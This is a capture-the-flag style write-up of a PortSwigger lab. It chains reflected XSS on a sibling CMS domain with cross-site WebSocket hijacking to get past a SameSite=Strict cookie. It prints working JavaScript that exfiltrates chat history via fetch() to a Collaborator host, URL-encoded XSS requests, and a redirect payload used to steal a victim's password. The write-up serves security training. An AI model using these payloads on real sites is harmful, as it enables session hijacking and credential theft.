| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | CSWSH + XSS + SameSite Strict Bypass via Sibling Domain |
| Difficulty | Practitioner (Expert in practice) |
| Target | 0a40008d047c17b6800c038f002500ad.web-security-academy.net |
| Sibling Domain | cms-0a40008d047c17b6800c038f002500ad.web-security-academy.net |
| Objective | Exfiltrate the victim's chat history via WebSocket hijacking to recover their credentials and log in as them |
SameSite Strict Bypass via Sibling Domain — Writeup¶
Reconnaissance¶
Initial Observation¶
No credentials provided — the objective is to steal them from the victim's chat history. The application has a Live Chat feature. HTML injection in chat messages is encoded server-side:
<tr class="message"><th>You:</th><td><h1>TETO</h1></td></tr>
Script tags don't execute either. The chat surface isn't the attack vector.
Web — Session Cookie and WebSocket Analysis¶
Adding the target to Burp scope and reviewing traffic. The /chat endpoint loads chat.js. Checking its response headers:
HTTP/2 200 OK
Access-Control-Allow-Origin: https://cms-0a40008d047c17b6800c038f002500ad.web-security-academy.net
A sibling domain is explicitly trusted via CORS: cms-0a40008d047c17b6800c038f002500ad.web-security-academy.net.
The session cookie has SameSite=Strict — cross-site requests from the exploit server won't carry it.
WebSocket — Chat History Retrieval Mechanism¶
Reviewing WebSocket history in Burp:
Chat messages flow bidirectionally. Reloading the page and watching the WebSocket traffic reveals that the client sends READY after connection open, and the server responds with the full chat history:
CMS Sibling Domain — XSS Discovery¶
Navigating to the CMS login panel at cms-0a40008d047c17b6800c038f002500ad.web-security-academy.net. The username field reflects input directly into the page:
<p>Invalid username: <script>alert(0)</script></p>
XSS confirmed on the sibling domain. Since both domains share the same registrable domain (web-security-academy.net), they are considered same-site by the browser. A navigation to the CMS domain — even originating from the exploit server — will include cookies flagged SameSite=Strict on the main domain when the CMS makes same-site requests back to it.
Attack Path¶
Proof of Concept — WebSocket Hijack via Exploit Server¶
Testing the WebSocket hijack directly from the exploit server first:
<script>
var ws = new WebSocket('https://0a40008d047c17b6800c038f002500ad.web-security-academy.net/chat');
ws.onopen = function() {
ws.send('READY');
};
ws.onmessage = function(info) {
fetch('https://7ownmw93dqwe4wpg5qz7j1n79yfr3ir7.oastify.com/?teto=' + btoa(info.data));
};
</script>
Collaborator receives data but only gets the CONNECTED message — no chat history. The session cookie isn't attached because the WebSocket request originates cross-site. A new unauthenticated session opens instead of hijacking the victim's existing one.
Pivoting Through the CMS XSS¶
The fix: inject the WebSocket script via XSS on the CMS domain. Since the CMS is a sibling domain, requests it makes back to the main domain are same-site — the session cookie travels with them.
Confirming the CMS login endpoint accepts GET:
GET /login?username=teto&password=teto HTTP/2
Host: cms-0a40008d047c17b6800c038f002500ad.web-security-academy.net
Response: Invalid username: teto — GET works, and the XSS payload in username will execute.
URL-encoding the WebSocket exfiltration script and embedding it in the username parameter:
GET /login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%27https%3A%2F%2F0a40008d047c17b6800c038f002500ad.web-security-academy.net%2Fchat%27%29%3B+++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%27READY%27%29%3B+++%7D%3B+++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%27https%3A%2F%2Fvlkbjk6raet21km42ewvgpkv6mcf07ow.oastify.com%2F%3Fteto%3D%27+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=adsasdasd HTTP/2
Exploit server body — redirect the victim to the CMS XSS URL:
<script>
location='https://cms-0a40008d047c17b6800c038f002500ad.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%27https%3A%2F%2F0a40008d047c17b6800c038f002500ad.web-security-academy.net%2Fchat%27%29%3B+++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%27READY%27%29%3B+++%7D%3B+++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%27https%3A%2F%2Fvlkbjk6raet21km42ewvgpkv6mcf07ow.oastify.com%2F%3Fteto%3D%27+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=adsasdasd'
</script>
Delivering to the victim:
Collaborator receives multiple requests:
Decoding the base64 payloads reveals the full chat history including credentials in plaintext:
{"user":"Hal Pline","content":"No problem carlos, it's nd5f9msu0iepq3z4xyb5"}
Logging in as carlos with the recovered password:
Lab solved :P
Resources¶
- PortSwigger — Bypassing SameSite cookie restrictions
- PortSwigger — WebSocket vulnerabilities
- PortSwigger — Cross-site WebSocket hijacking
- PortSwigger — CSRF
- Burp Suite Professional — WebSocket history, Collaborator, Repeater